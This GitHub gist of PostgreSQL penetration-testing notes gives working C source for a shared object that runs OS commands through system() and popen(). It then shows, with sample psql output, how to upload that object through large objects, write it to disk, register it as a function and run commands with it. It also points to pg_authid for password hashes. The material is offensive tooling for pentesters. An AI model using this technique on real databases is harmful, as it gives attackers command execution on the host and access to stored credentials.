Skip to content

Instantly share code, notes, and snippets.

@gquere
Last active March 17, 2023 14:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gquere/c91aaee3f52c05c3c9e6ce0b3cfe6895 to your computer and use it in GitHub Desktop.
Save gquere/c91aaee3f52c05c3c9e6ce0b3cfe6895 to your computer and use it in GitHub Desktop.
PostgreSQL pentest notes

PostgreSQL RCE

Need Superuser rights.

Shared object

Simple SO to run blind commands:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);

Datum pg_exec(PG_FUNCTION_ARGS)
{
    char *command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

Alternative SO with text return (a bit more risky, could crash and cause the DB to enter recovery mode):

//gcc -Wall -Wextra -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#define BLOCK_SIZE (65536)

PG_FUNCTION_INFO_V1(pg_exec);

text * str_to_text(const char *input)
{
    text *output = palloc(VARHDRSZ + strlen(input));
    SET_VARSIZE(output, VARHDRSZ + strlen(input));
    memcpy(VARDATA(output), input, strlen(input));

    return output;
}

Datum pg_exec(PG_FUNCTION_ARGS)
{
    char *command = PG_GETARG_CSTRING(0);

    FILE *f = popen(command, "r");
    if (f == NULL) {
        PG_RETURN_TEXT_P(str_to_text("Failed running command\n"));
    }

    char *tmp_buffer = malloc(BLOCK_SIZE);
    char *buffer = malloc(1);

    size_t total_size = 0;
    size_t current_read_size = 0;
    while ((current_read_size = fread(tmp_buffer, 1, BLOCK_SIZE, f)) != 0) {
        buffer = realloc(buffer, total_size + current_read_size);
        memcpy(buffer + total_size, tmp_buffer, current_read_size);
        total_size += current_read_size;
    }
    memcpy(buffer + total_size, "\0", 1);

    text *psql_buffer = str_to_text(buffer);

    pclose(f);
    free(buffer);
    PG_RETURN_TEXT_P(psql_buffer);
}

Connect to the DB (locally)

psql -h 127.0.0.1 -p 5432 -U postgres

Upload shared object

Remotely upload a shared object to disk using large objects.

First create a large objects and get its id to reuse:

postgres=# SELECT lo_creat(-1);
 lo_creat 
----------
    24576
(1 row)

Then split the file into chunks of size 2048 bytes and generate commands to paste into psql session:

split -b 2048 pg_exec.so
index=0; for file in xa*; do echo '\set c'$index' `base64 -w0 '$file'`'; echo "INSERT INTO pg_largeobject(loid, pageno, data) values(24576, $index, decode(:'c$index', 'base64'));"; index=$((index+1)); done

Then upload chunks one by one:

postgres=# \set c0 `base64 -w0 xaa`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 0, decode(:'c0', 'base64'));
INSERT 0 1
postgres=# \set c1 `base64 -w0 xab`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 1, decode(:'c1', 'base64'));
INSERT 0 1
postgres=# \set c2 `base64 -w0 xac`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 2, decode(:'c2', 'base64'));
INSERT 0 1
postgres=# \set c3 `base64 -w0 xad`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 3, decode(:'c3', 'base64'));
INSERT 0 1
postgres=# \set c4 `base64 -w0 xae`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 4, decode(:'c4', 'base64'));
INSERT 0 1
postgres=# \set c5 `base64 -w0 xaf`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 5, decode(:'c5', 'base64'));
INSERT 0 1
postgres=# \set c6 `base64 -w0 xag`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 6, decode(:'c6', 'base64'));
INSERT 0 1
postgres=# \set c7 `base64 -w0 xah`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 7, decode(:'c7', 'base64'));
INSERT 0 1

Finally, export the object to disk:

postgres=# SELECT lo_export(24576, '/tmp/pg_exec.so');
 lo_export 
-----------
         1
(1 row)

Run lo_unlink to cleanup the large object:

postgres=# SELECT lo_unlink(24576);
 lo_unlink 
-----------
         1
(1 row)

Create and run function

postgres=# CREATE OR REPLACE FUNCTION sys(cstring) RETURNS int AS '/run/user/48/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
CREATE FUNCTION
postgres=# SELECT sys('touch /dev/shm/test');
 sys 
-----
   0
(1 row)

List functions

postgres=# \df
                       List of functions
 Schema | Name | Result data type | Argument data types | Type 
--------+------+------------------+---------------------+------
 public | sys  | integer          | cstring             | func
(1 row)

Delete function

postgres=# DROP FUNCTION sys;
DROP FUNCTION

Other commands

Disable pagination

\pset pager off

Databases

\list
\connect <db>

Tables

\dt
\dt *.*

Rights

\du

Quit

\q

Dump

pg_dump

List extensions

\dx

List DB functions

\df dbname.*

User passwords

pg_authid

Version

SELECT version();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment